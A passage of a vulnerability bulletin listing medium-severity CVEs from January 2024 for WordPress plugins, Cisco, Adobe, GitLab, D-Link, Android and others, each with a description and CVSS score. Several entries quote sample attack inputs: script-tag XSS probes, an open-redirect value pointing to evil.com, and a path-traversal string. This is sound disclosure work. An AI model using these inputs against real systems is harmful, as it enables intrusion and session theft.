wordpress -- wordpress	The Sticky Buttons - floating buttons builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via sticky URLs in all versions up to, and including, 3.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	2024-01-23	4.4	CVE-2024-0703
wp-eventmanager -- user_profile_avatar	The WP User Profile Avatar WordPress plugin before 1.0.1 does not properly check for authorisation, allowing authors to delete and update arbitrary avatar	2024-01-22	4.3	CVE-2023-6384

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
wpmet -- wp_social_login_and_register_social_counter	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wpmet Wp Social Login and Register Social Counter.This issue affects Wp Social Login and Register Social Counter: from n/a through 1.9.0.	2024-01-19	6.5	CVE-2022-47160
yugeshverma -- student_project_allocation_system	A vulnerability was found in Project Worlds Student Project Allocation System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file admin_login.php of the component Admin Login Module. The manipulation of the argument msg with the input test%22%3Cscript%3Ealert(%27Torada%27)%3C/script%3E leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251549 was assigned to this vulnerability.	2024-01-19	6.1	CVE-2024-0726
zulip -- zulip	Zulip is an open-source team collaboration tool. A vulnerability in version 8.0 is similar to CVE-2023-32677, but applies to multi-use invitations, not single-use invitation links as in the prior CVE. Specifically, it applies when the installation has configured non-admins to be able to invite users and create multi-use invitations, and has also configured only admins to be able to invite users to streams. As in CVE-2023-32677, this does not let users invite new users to arbitrary streams, only to streams that the inviter can already see. Version 8.1 fixes this issue. As a workaround, administrators can limit sending of invitations down to users who also have the permission to add users to streams.	2024-01-25	4.3	CVE-2024-21630
ELAN -- match-on-Chip_FPR	ELAN Match-on-Chip FPR solution has design fault about potential risk of valid SID leakage and enumeration with spoof sensor. This fault leads to that Windows Hello recognition would be bypass with cloning SID to cause broken account identity. Version which is lower than 3.0.12011.08009(Legacy)/3.3.12011.08103(ESS) would suffer this risk on DELL Inspiron platform.	2024-01-12	6	CVE-2024-0454 36106deb-8e95-420b-a0a0-e70af5d245df
ability -- ability_ftp_server	A vulnerability has been found in Ability FTP Server 2.34 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component APPE Command Handler. The manipulation leads to denial of service. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250717 was assigned to this vulnerability.	2024-01-15	5.3	CVE-2024-0547
acritum_femitter -- acritum_femitter_server	A vulnerability, which was classified as problematic, was found in Acritum Femitter Server 1.04. Affected is an unknown function. The manipulation leads to path traversal. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250446 is the identifier assigned to this vulnerability.	2024-01-12	4.3	CVE-2010-10011
adobe -- acrobat_for_edge	Acrobat Reader T5 (MSFT Edge) versions 120.0.2210.91 and earlier are affected by an Improper Input Validation vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	2024-01-15	5.5	CVE-2024-20709 psirt@adobe.com
adobe -- acrobat_for_edge	Acrobat Reader T5 (MSFT Edge) versions 120.0.2210.91 and earlier are affected by an Improper Input Validation vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	2024-01-15	5.5	CVE-2024-20721 psirt@adobe.com
adobe -- adobe_experience_manager	Adobe Experience Manager versions 6.5.18 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.	2024-01-18	5.4	CVE-2023-51463 psirt@adobe.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
adobe -- adobe_experience_manager	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field.	2024-01-18	5.4	CVE-2023-51464 psirt@adobe.com
advanced-woo-search -- advanced_woo_search	The Advanced Woo Search plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the search parameter in all versions up to, and including, 2.96 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. This only affects sites when the Dynamic Content for Elementor plugin is also installed.	2024-01-13	6.1	CVE-2024-0251
algolplus -- advanced_dynamic_pricing_for_woocommerce	Missing Authorization vulnerability in AlgolPlus Advanced Dynamic Pricing for WooCommerce.This issue affects Advanced Dynamic Pricing for WooCommerce: from n/a through 4.1.5.	2024-01-17	6.3	CVE-2022-40203
allegro -- rompager	A vulnerability was found in Allegro RomPager 4.01. It has been classified as problematic. Affected is an unknown function of the file usertable.htm?action=delete of the component HTTP POST Request Handler. The manipulation of the argument username leads to cross-site request forgery. It is possible to launch the attack remotely. Upgrading to version 4.30 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-250692. NOTE: The vendor explains that this is a very old issue that got fixed 20 years ago but without a public disclosure.	2024-01-14	4.3	CVE-2024-0522
apollo-- apollo	A vulnerability was found in Apollo 2.0.0/2.0.1 and classified as problematic. Affected by this issue is some unknown functionality of the file /users of the component Configuration Center. The manipulation leads to improper authorization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The real existence of this vulnerability is still doubted at the moment. VDB-250430 is the identifier assigned to this vulnerability. NOTE: The maintainer explains that user data information like user id, name, and email are not sensitive.	2024-01-12	4.3	CVE-2022-4962
avaya -- experience_portal_manager	Insecure Direct Object Reference vulnerabilities were discovered in the Avaya Aura Experience Portal Manager which may allow partial information disclosure to an authenticated non-privileged user. Affected versions include 8.0.x and 8.1.x, prior to 8.1.2 patch 0402. Versions prior to 8.0 are end of manufacturer support.	2024-01-17	5.7	CVE-2023-7031 securityalerts@avaya.com
aveva -- pi_server	AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior contain a vulnerability that could allow an unauthenticated user to cause the PI Message Subsystem of a PI Server to consume available memory resulting in throttled processing of new PI Data Archive events and a partial denial-of-service condition.	2024-01-18	5.3	CVE-2023-31274 ics-cert@hq.dhs.gov
avo-hq -- avo	Avo is a framework to create admin panels for Ruby on Rails apps. In Avo 3 pre12, any HTML inside text that is passed to `error` or `succeed` in an `Avo::BaseAction` subclass will be rendered directly without sanitization in the toast/notification that appears in the UI on Action completion. A malicious user could exploit this vulnerability to trigger a cross site scripting attack on an unsuspecting user. This issue has been addressed in the 3.3.0 and 2.47.0 releases of Avo. Users are advised to upgrade.	2024-01-16	6.5	CVE-2024-22411
ays-pro -- quiz_maker	Improper input validation vulnerability in WordPress Quiz Maker Plugin prior to 6.5.0.6 allows a remote authenticated attacker to perform a Denial of Service (DoS) attack against external services.	2024-01-12	6.5	CVE-2024-22027 vultures@jpcert.or.jp vultures@jpcert.or.jp

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
brainstorm--ultimate_addons_for_beaver_builder - lite	Missing Authorization vulnerability in Brainstorm Force Ultimate Addons for Beaver Builder - Lite. This issue affects Ultimate Addons for Beaver Builder - Lite: from n/a through 1.5.5.	2024-01-17	4.3	CVE-2023-23882
brechtvds -- wp_recipe_maker	The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-18	6.4	CVE-2023-6958
brechtvds -- wp_recipe_maker	The WP Recipe Maker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'Referer' header in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	2024-01-18	6.1	CVE-2023-6970
brechtvds -- wp_recipe_maker	The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the use of the 'tag' attribute in the wprm-recipe-name, wprm-recipe-date, and wprm-recipe-counter shortcodes in all versions up to, and including, 9.1.0. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-18	6.4	CVE-2024-0381
carmelogarcia -- employee_profile_management_system	A vulnerability, which was classified as problematic, was found in code-projects Employee Profile Management System 1.0. Affected is an unknown function of the file edit_position_query.php. The manipulation of the argument pos_name leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250572.	2024-01-12	6.1	CVE-2024-0467
centralsquare -- click2gov_building_permit	An issue was discovered in CentralSquare Click2Gov Building Permit before October 2023. Lack of access control protections allows remote attackers to arbitrarily delete the contractors from any user's account when the user ID and contractor information is known.	2024-01-12	4.3	CVE-2023-40362
cisco -- WAP371_wireless-AC/N_dual_radio_access_point_(AP)_with_single_point_setup	A vulnerability in the web-based management interface of the Cisco WAP371 Wireless-AC/N Dual Radio Access Point (AP) with Single Point Setup could allow an authenticated, remote attacker to perform command injection attacks against an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted HTTP requests to the web-based management interface of an affected system. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the device. To exploit this vulnerability, the attacker must have valid administrative credentials for the device.	2024-01-17	6.5	CVE-2024-20287 ykramarz@cisco.com
cisco -- cisco_identity_services_engine_software	A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to perform a stored cross-site scripting (XSS) attack against a user of the interface on an affected device. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.	2024-01-17	4.8	CVE-2024-20251 ykramarz@cisco.com
cisco -- cisco_prime_infrastructure	A vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system. This vulnerability is due to improper processing of serialized Java objects by the affected application. An	2024-01-17	6.5	CVE-2023-20258 ykramarz@cisco.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	attacker could exploit this vulnerability by uploading a document containing malicious serialized Java objects to be processed by the affected application. A successful exploit could allow the attacker to cause the application to execute arbitrary commands.			
cisco -- cisco_prime_infrastructure	A vulnerability in the application CLI of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager could allow an authenticated, local attacker to gain escalated privileges. This vulnerability is due to improper processing of command line arguments to application scripts. An attacker could exploit this vulnerability by issuing a command on the CLI with malicious options. A successful exploit could allow the attacker to gain the escalated privileges of the root user on the underlying operating system.	2024-01-17	6	CVE-2023-20260 ykramarz@cisco.com
cisco -- cisco_prime_infrastructure	A vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to conduct cross-site scripting attacks. This vulnerability is due to improper validation of user-supplied input to the web-based management interface. An attacker could exploit this vulnerability by submitting malicious input containing script or HTML content within requests that would stored within the application interface. A successful exploit could allow the attacker to conduct cross-site scripting attacks against other users of the affected application.	2024-01-17	4.8	CVE-2023-20257 ykramarz@cisco.com
cisco -- cisco_thousandeyes_recorder_application	A vulnerability in the web-based management interface of Cisco ThousandEyes Enterprise Agent, Virtual Appliance installation type, could allow an authenticated, remote attacker to perform a command injection and elevate privileges to root. This vulnerability is due to insufficient validation of user-supplied input for the web interface. An attacker could exploit this vulnerability by sending a crafted HTTP packet to the affected device. A successful exploit could allow the attacker to execute arbitrary commands and elevate privileges to root.	2024-01-17	6.8	CVE-2024-20277 ykramarz@cisco.com
cisco-- broadworks	A vulnerability in the web-based management interface of Cisco BroadWorks Application Delivery Platform and Cisco BroadWorks Xtended Services Platform could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.	2024-01-17	4.8	CVE-2024-20270 ykramarz@cisco.com
cisco-- epnm	A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker to conduct SQL injection attacks on an affected system. This vulnerability is due to improper validation of user-submitted parameters. An attacker could exploit this vulnerability by authenticating to the application and sending malicious requests to an affected system. A successful exploit could allow the attacker to obtain and modify sensitive information that is stored in the underlying database.	2024-01-17	6.5	CVE-2023-20271 ykramarz@cisco.com
cloud_software_group -- citrix_session_recording	Cross SiteScripting vulnerability in Citrix Session Recording allows attacker to perform Cross Site Scripting	2024-01-18	5	CVE-2023-6184 secure@citrix.com
cloud_software_group -- citrix_storefront	Cross-site scripting (XSS)	2024-01-17	5.4	CVE-2023-5914 secure@citrix.com
cloud_software_group -- netscaler_adc	Improper Control of Generation of Code ('Code Injection') in NetScaler ADC and NetScaler Gatewayallows an attacker with access o NSIP, CLIP or SNIP with	2024-01-17	5.5	CVE-2023-6548 secure@citrix.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	management interface to perform. Authenticated (low privileged) remote code execution on Management Interface.			
cms -- cmseasy	A vulnerability was found in CmsEasy up to 7.7.7. It has been declared as critical. Affected by this vulnerability is the function getslide_child_action in the library lib/admin/language_admin.php. The manipulation of the argument sid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250693 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-14	6.3	CVE-2024-0523
code-projects -- employee_profile_management_system	A vulnerability classified as problematic was found in code-projects Employee Profile Management System 1.0. This vulnerability affects unknown code of the file download.php. The manipulation of the argument download_file leads to path traversal: '../filedir'. The exploit has been disclosed to the public and may be used. VDB-250570 is the identifier assigned to this vulnerability.	2024-01-12	5.3	CVE-2024-0465
codeastro -- real_estate_management_system	A vulnerability classified as critical has been found in CodeAstro Real Estate Management System up to 1.0. This affects an unknown part of the file propertydetail.php. The manipulation of the argument pid leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250713 was assigned to this vulnerability.	2024-01-15	6.3	CVE-2024-0543
codecanyon -- rise_rise_ultimate_project_manager	A vulnerability classified as problematic was found in CodeCanyon RISE Rise Ultimate Project Manager 3.5.3. This vulnerability affects unknown code of the file /index.php/signin. The manipulation of the argument redirect with the input http://evil.com leads to open redirect. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250714 is the identifier assigned to this vulnerability.	2024-01-15	5.3	CVE-2024-0545
codepeople -- wp_time_slots_booking_form	Missing Authorization vulnerability in CodePeople WP Time Slots Booking Form. This issue affects WP Time Slots Booking Form: from n/a through 1.1.76.	2024-01-17	4.3	CVE-2022-41790
cozmoslabs -- profile_builder	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Cozmoslabs Profile Builder Pro allows Reflected XSS.This issue affects Profile Builder Pro: from n/a through 3.10.0.	2024-01-13	6.1	CVE-2024-22142
d-Link -- multiple_products	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.	2024-01-19	5.3	CVE-2024-0717
davidjmiller -- voting_record	The Voting Record WordPress plugin through 2.0 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack	2024-01-16	5.4	CVE-2023-7083
davidjmiller -- voting_record	The Voting Record WordPress plugin through 2.0 is missing sanitisation as well as escaping, which could allow any authenticated users, such as subscriber to perform Stored XSS attacks	2024-01-16	5.4	CVE-2023-7084
dedebiz -- dedebiz	A vulnerability has been found in DedeBIZ 6.3.0 and classified as critical. This vulnerability affects unknown code of the file	2024-01-15	4.7	CVE-2024-0558

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	/admin/makehtml_freelist_action.php. The manipulation of the argument startid leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250726 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.			
deepfacelab -- deepfacelab	A vulnerability, which was classified as problematic, was found in DeepFaceLab pretrained DF.wf.288res.384.92.72.22. Affected is an unknown function of the file mainscripts/Util.py. The manipulation leads to deserialization. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. VDB-251382 is the identifier assigned to this vulnerability.	2024-01-18	5.3	CVE-2024-0654
discourse -- discourse	Discourse is a platform for community discussion. For fields that are client editable, limits on sizes are not imposed. This allows a malicious actor to cause a Discourse instance to use excessive disk space and also often excessive bandwidth. The issue is patched 3.1.4 and 3.2.0.beta4.	2024-01-12	4.3	CVE-2024-21655
dogukanurker -- flaskblog	flaskBlog is a simple blog app built with Flask. Improper storage and rendering of the `/user/<user>` page allows a user's comments to execute arbitrary javascript code. The html template `user.html` contains the following code snippet to render comments made by a user: `<div class="content" tag="content">{{comment[2]|safe}}</div>`. Use of the "safe" tag causes flask to _not_ escape the rendered content. To remediate this, simply remove the `|safe` tag from the HTML above. No fix is is available and users are advised to manually edit their installation.	2024-01-17	6.5	CVE-2024-22414
easy.jobs -- easy.jobs	The easy.jobs- Best Recruitment Plugin for Job Board Listing, Manager, Career Page for Elementor & Gutenberg WordPress plugin before 2.4.7 does not properly secure some of its AJAX actions, allowing any logged-in users to modify its settings.	2024-01-15	4.3	CVE-2023-6843
easyftp -- easyftp	A vulnerability, which was classified as problematic, has been found in EasyFTP 1.7.0. This issue affects some unknown processing of the component LIST Command Handler. The manipulation leads to denial of service. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250715.	2024-01-15	5.3	CVE-2024-0546
easyftp-- easyftp	A vulnerability, which was classified as critical, was found in EasyFTP 1.7.0.2. Affected is an unknown function of the component MKD Command Handler. The manipulation leads to buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250716.	2024-01-16	6.3	CVE-2011-10005
efs -- easy_chat_server	A vulnerability, which was classified as problematic, has been found in EFS Easy Chat Server 3.1. Affected by this issue is some unknown functionality of the component HTTP GET Request Handler. The manipulation of the argument USERNAME leads to denial of service. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251480. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-18	4.3	CVE-2024-0695
efs -- easy_file_sharing_ftp	A vulnerability classified as problematic was found in EFS Easy File Sharing FTP 2.0. Affected by this vulnerability is an unknown functionality. The manipulation of the argument username leads to denial of service. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251479. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-18	5.3	CVE-2024-0693
efs -- easy_file_sharing_ftp	A vulnerability classified as problematic has been found in EFS Easy File Sharing FTP 3.6. This affects an unknown part of the component Login. The manipulation of the argument password leads to denial of service. It is possible to initiate the attack	2024-01-19	5.3	CVE-2024-0736

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251559.			
estatik -- estatik	The Estatik Real Estate Plugin WordPress plugin before 4.1.1 does not prevent user with low privileges on the site, like subscribers, from setting any of the site's options to 1, which could be used to break sites and lead to DoS when certain options are reset	2024-01-15	6.5	CVE-2023-6048
estatik -- estatik	The Estatik Real Estate Plugin WordPress plugin before 4.1.1 does not sanitise and escape various parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin	2024-01-15	6.1	CVE-2023-6050
fabianros -- simple_online_hotel_reservation_system	A vulnerability has been found in code-projects Simple Online Hotel Reservation System 1.0 and classified as problematic. This vulnerability affects unknown code of the file add_reserve.php of the component Make a Reservation Page. The manipulation of the argument Firstname/Lastname with the input <script>alert(1)</script> leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250618 is the identifier assigned to this vulnerability.	2024-01-13	6.1	CVE-2024-0504
favorites-web_project -- favorites-web	A vulnerability, which was classified as problematic, has been found in cloudfavorites favorites-web 1.3.0. Affected by this issue is some unknown functionality of the component Nickname Handler. The manipulation leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250238 is the identifier assigned to this vulnerability.	2024-01-12	5.4	CVE-2022-4960
fireeye -- central_management	XSS vulnerability in FireEye Central Management affecting version 9.1.1.956704, which could allow an attacker to modify special HTML elements in the application and cause a reflected XSS, leading to a session hijacking.	2024-01-15	6.1	CVE-2024-0314
fireeye -- hxtool	Cross-Site Scripting in FireEye HXTool affecting version 4.6. This vulnerability allows an attacker to store a specially crafted JavaScript payload in the 'Profile Name' and 'Hostname/IP' parameters that will be triggered when items are loaded.	2024-01-15	6.1	CVE-2024-0318
fireeye -- hxtool	Open Redirect vulnerability in FireEye HXTool affecting version 4.6, the exploitation of which could allow an attacker to redirect a legitimate user to a malicious page by changing the 'redirect_uri' parameter.	2024-01-15	6.1	CVE-2024-0319
fireeye -- malware_analysis	Cross-Site Scripting in FireEye Malware Analysis (AX) affecting version 9.0.3.936530. This vulnerability allows an attacker to send a specially crafted JavaScript payload in the application URL to retrieve the session details of a legitimate user.	2024-01-15	6.1	CVE-2024-0320
fireeye_ -- fireeye_ex	Cross-Site Scripting in FireEye EX, affecting version 9.0.3.936727. Exploitation of this vulnerability allows an attacker to send a specially crafted JavaScript payload via the 'type' and 's_f_name' parameters to an authenticated user to retrieve their session details.	2024-01-15	5.4	CVE-2024-0317
flycms-- flycms	FlyCms 1.0 is vulnerable to Cross Site Scripting (XSS) in the system website settings website name section.	2024-01-18	5.4	CVE-2024-22548
flycms -- flycms	FlyCms 1.0 is vulnerable to Cross Site Scripting (XSS) in the email settings of the website settings section.	2024-01-18	5.4	CVE-2024-22549
foru -- cms	A vulnerability classified as problematic was found in ForU CMS up to 2020-06-23. Affected by this vulnerability is an unknown functionality of the file channel.php. The manipulation of the argument c_cmodel leads to file inclusion. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251551.	2024-01-19	4.7	CVE-2024-0728

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
foru_cms -- foru_cms	A vulnerability, which was classified as critical, has been found in ForU CMS up to 2020-06-23. Affected by this issue is some unknown functionality of the file cms_admin.php. The manipulation of the argument a_name leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251552.	2024-01-19	5.5	CVE-2024-0729
freefloat -- freefloat_server	A vulnerability was found in FreeFloat FTP Server 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the component SIZE Command Handler. The manipulation leads to denial of service. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250718 is the identifier assigned to this vulnerability.	2024-01-15	5.3	CVE-2024-0548
freesshd -- freesshd	A vulnerability was found in freeSSHd 1.0.9 on Windows. It has been classified as problematic. This affects an unknown part. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251547.	2024-01-19	5.3	CVE-2024-0723
full_compass_systems -- wic1200	A Cross-site scripting (XSS) vulnerability has been found on WIC1200, affecting version 1.1. An authenticated user could store a malicious javascript payload in the device model parameter via '/setup/diags_ir_learn.asp', allowing the attacker to retrieve the session details of another user.	2024-01-16	5.5	CVE-2024-0554
full_compass_systems -- wic1200	A Cross-Site Request Forgery (CSRF) vulnerability has been found on WIC1200, affecting version 1.1. An authenticated user could lead another user into executing unwanted actions inside the application they are logged in. This vulnerability is possible due to the lack of propper CSRF token implementation.	2024-01-16	4.6	CVE-2024-0555
github -- enterprise_server	An attacker with access to a Management Console user account with the editor role could escalate privileges through a command injection vulnerability in the Management Console. This vulnerability affected all versions of GitHub Enterprise Server and was fixed in versions 3.11.3, 3.10.5, 3.9.8, and 3.8.13 This vulnerability was reported via the GitHub Bug Bounty program.	2024-01-16	6.5	CVE-2024-0507
gitlab -- gitlab	An issue has been discovered in GitLab CE/EE affecting all versions from 12.2 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which an attacker could potentially modify the metadata of signed commits.	2024-01-12	5.3	CVE-2023-2030
gitlab -- gitlab	An issue has been discovered in GitLab EE affecting all versions starting from 15.3 before 16.5.6, all versions starting from 16.6 before 16.6.4, all versions starting from 16.7 before 16.7.2. The required CODEOWNERS approval could be bypassed by adding changes to a previously approved merge request.	2024-01-12	5.3	CVE-2023-4812
gitlab -- gitlab	An improper access control vulnerability exists in GitLab Remote Development affecting all versions prior to 16.5.6, 16.6 prior to 16.6.4 and 16.7 prior to 16.7.2. This condition allows an attacker to create a workspace in one group that is associated with an agent from another group.	2024-01-12	5.3	CVE-2023-6955
gl-inet -- gl-ax1800_firmware	An issue was discovered on GL.iNet devices before version 4.5.0. They assign the same session ID after each user reboot, allowing attackers to share session identifiers between different sessions and bypass authentication or access control measures. Attackers can impersonate legitimate users or perform unauthorized actions. This affects A1300 4.4.6, AX1800 4.4.6, AXT1800 4.4.6, MT3000 4.4.6, MT2500 4.4.6, MT6000 4.5.0, MT1300 4.3.7, MT300N-V2 4.3.7, AR750S 4.3.7, AR750 4.3.7, AR300M 4.3.7, and B1300 4.3.7.	2024-01-12	5.5	CVE-2023-50920
gnutls -- gnutls	A vulnerability was found in GnuTLS. The response times to malformed ciphertexts in RSA-PSK ClientKeyExchange differ from response times of ciphertexts with correct PKCS#1 v1.5 padding. This issue may allow a remote attacker to perform a timing side-channel attack in the RSA-PSK key exchange, potentially leading to the	2024-01-16	5.9	CVE-2024-0553

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	leakage of sensitive data. CVE-2024-0553 is designated as an incomplete resolution for CVE-2023-5981.			
gnutls -- gnutls	A vulnerability was found in GnuTLS, where a cockpit (which uses gnuTLS) rejects a certificate chain with distributed trust. This issue occurs when validating a certificate chain with cockpit-certificate-ensure. This flaw allows an unauthenticated, remote client or attacker to initiate a denial of service attack.	2024-01-16	5.9	CVE-2024-0567
google -- android	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48340 security@unisoc.com
google -- android	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48341 security@unisoc.com
google -- android	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48343 security@unisoc.com
google -- android	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48344 security@unisoc.com
google -- android	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48345 security@unisoc.com
google -- android	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48346 security@unisoc.com
google -- android	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48347 security@unisoc.com
google -- android	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48348 security@unisoc.com
google -- android	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48349 security@unisoc.com
google -- android	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48350 security@unisoc.com
google -- android	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed	2024-01-18	5.5	CVE-2023-48351 security@unisoc.com
google -- android	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	2024-01-18	4.4	CVE-2023-48342 security@unisoc.com
